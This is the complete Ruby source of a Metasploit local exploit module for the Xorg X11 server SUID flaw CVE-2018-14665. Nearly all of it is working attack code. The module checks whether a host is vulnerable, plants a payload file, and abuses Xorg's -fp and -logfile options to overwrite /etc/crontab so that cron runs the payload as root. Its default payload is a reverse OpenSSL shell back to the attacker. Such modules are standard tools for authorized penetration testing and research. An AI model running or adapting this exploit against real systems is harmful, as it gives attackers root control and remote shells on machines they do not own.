Xorg X11 Server SUID Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::Kernel  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Xorg X11 Server SUID privilege escalation',  
'Description' => %q{  
This module attempts to gain root privileges with SUID Xorg X11 server  
versions 1.19.0 < 1.20.3.  
  
A permission check flaw exists for -modulepath and -logfile options when  
starting Xorg. This allows unprivileged users that can start the server  
the ability to elevate privileges and run arbitrary code under root  
privileges.  
  
This module has been tested with OpenBSD 6.3, 6.4, and CentOS 7 (1708).  
CentOS default install will require console auth for the users session.  
Cron launches the payload so if Selinux is enforcing exploitation  
may still be possible, but the module will bail.  
Xorg must have SUID permissions and may not start if running.  
  
On exploitation a crontab.old backup file will be created by Xorg.  
This module will remove the .old file and restore crontab after  
successful exploitation. Failed exploitation may result in a corrupted  
crontab. On successful exploitation artifacts will be created consistant  
with starting Xorg and running a cron.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Narendra Shinde', # Discovery and exploit  
'Raptor - 0xdea', # Modified exploit for cron  
'Aaron Ringo', # Metasploit module  
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit module  
],  
'DisclosureDate' => 'Oct 25 2018',  
'References' =>  
[  
[ 'CVE', '2018-14665' ],  
[ 'BID', '105741' ],  
[ 'EDB', '45697' ],  
[ 'EDB', '45742' ],  
[ 'EDB', '45832' ],  
[ 'URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html' ],  
[ 'URL', 'https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm' ]  
],  
'Platform' => %w[openbsd linux],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'SessionTypes' => %w[shell meterpreter],  
'Targets' =>  
[  
['OpenBSD', {  
'Platform' => 'unix',  
'Arch' => [ ARCH_CMD ] } ],  
['Linux x64', {  
'Platform' => 'linux',  
'Arch' => [ ARCH_X64 ] } ],  
['Linux x86', {  
'Platform' => 'linux',  
'Arch' => [ ARCH_X86 ] } ]  
],  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'cmd/unix/reverse_openssl',  
'WfsDelay' => 120  
},  
'DefaultTarget' => 0))  
  
register_advanced_options(  
[  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),  
OptString.new('Xdisplay', [ true, 'Display exploit will attempt to use', ':1' ]),  
OptBool.new('ConsoleLock', [ true, 'Will check for console lock under linux', true ])  
]  
)  
end  
  
  
def check  
  
# linux checks  
uname = cmd_exec "uname"  
if uname =~ /linux/i  
vprint_status "Running additional check for Linux"  
if datastore['ConsoleLock']  
user = cmd_exec "id -un"  
unless exist? "/var/run/console/#{user}"  
vprint_error "No console lock for #{user}"  
return CheckCode::Safe  
end  
vprint_good "Console lock for #{user}"  
end  
if selinux_installed?  
if selinux_enforcing?  
vprint_error 'Selinux is enforcing'  
return CheckCode::Safe  
end  
end  
vprint_good "Selinux is not an issue"  
end  
  
# suid program check  
xorg_path = cmd_exec "command -v Xorg"  
unless xorg_path.include?("Xorg")  
vprint_error "Could not find Xorg executable"  
return CheckCode::Safe  
end  
vprint_good "Xorg path found at #{xorg_path}"  
unless setuid? xorg_path  
vprint_error "Xorg binary #{xorg_path} is not SUID"  
return CheckCode::Safe  
end  
vprint_good "Xorg binary #{xorg_path} is SUID"  
  
# version check  
x_version = cmd_exec "Xorg -version"  
if x_version.include?("Release Date")  
v = Gem::Version.new(x_version.scan(/\d\.\d+\.\d+/).first)  
unless v.between?(Gem::Version.new('1.19.0'), Gem::Version.new('1.20.2'))  
vprint_error "Xorg version #{v} not supported"  
return CheckCode::Safe  
end  
elsif x_version.include?("Fatal server error")  
vprint_error "User probably does not have console auth"  
vprint_error "Below is Xorg -version output"  
vprint_error x_version  
return CheckCode::Safe  
else  
vprint_warning "Could not parse Xorg -version output"  
return CheckCode::Appears  
end  
vprint_good "Xorg version #{v} is vulnerable"  
  
# process check for /X  
proc_list = cmd_exec "ps ax"  
if proc_list.include?('/X ')  
vprint_warning('Xorg in process list')  
return CheckCode::Appears  
end  
vprint_good('Xorg does not appear running')  
return CheckCode::Vulnerable  
end  
  
def on_new_session(session)  
if session.type.to_s.eql? 'meterpreter'  
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'  
session.sys.process.execute '/bin/sh', "-c \"#{@clean_up}\""  
else  
session.shell_command(@clean_up)  
end  
print_good "Returning session after cleaning"  
ensure  
super  
end  
  
def exploit  
  
check_status = check  
if check_status == CheckCode::Appears  
print_warning 'Could not get version or Xorg process possibly running, may fail'  
elsif check_status == CheckCode::Safe  
fail_with Failure::NotVulnerable, 'Target not vulnerable'  
end  
  
if is_root?  
fail_with Failure::BadConfig, 'This session already has root privileges'  
end  
  
unless writable? datastore['WritableDir']  
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"  
end  
  
print_good 'Passed all initial checks for exploit'  
  
pscript = "#{datastore['WritableDir']}/.session-#{rand_text_alphanumeric 5..10}"  
@clean_up = "/bin/cat #{pscript}.b > /etc/crontab ; /bin/rm -f #{pscript}.b /etc/crontab.old"  
xdisplay = datastore['Xdisplay']  
  
# Uploading file crontab will run  
print_status 'Uploading your payload, this could take a while'  
if payload.arch.first == 'cmd'  
write_file(pscript, payload.encoded)  
else  
write_file(pscript, generate_payload_exe)  
end  
register_file_for_cleanup pscript  
chmod pscript  
  
# Exploit steps on crontab so backing it up  
cmd_exec "cat /etc/crontab > #{pscript}.b"  
# Actual exploit with cron overwrite  
print_status 'Trying /etc/crontab overwrite'  
cmd_exec "cd /etc ; Xorg -fp '* * * * * root #{pscript}' -logfile crontab #{xdisplay} & >/dev/null"  
Rex.sleep 5  
cmd_exec "pkill Xorg"  
Rex.sleep 1  
cron_check = cmd_exec "grep -F #{pscript} /etc/crontab"  
unless cron_check.include? pscript  
rm_f "#{pscript}.b"  
print_error 'Deleting crontab backup'  
fail_with Failure::NotVulnerable, '/etc/crontab not modified'  
end  
print_good '/etc/crontab overwrite successful. Waiting for job to run (may take a minute)...'  
end  
end  
`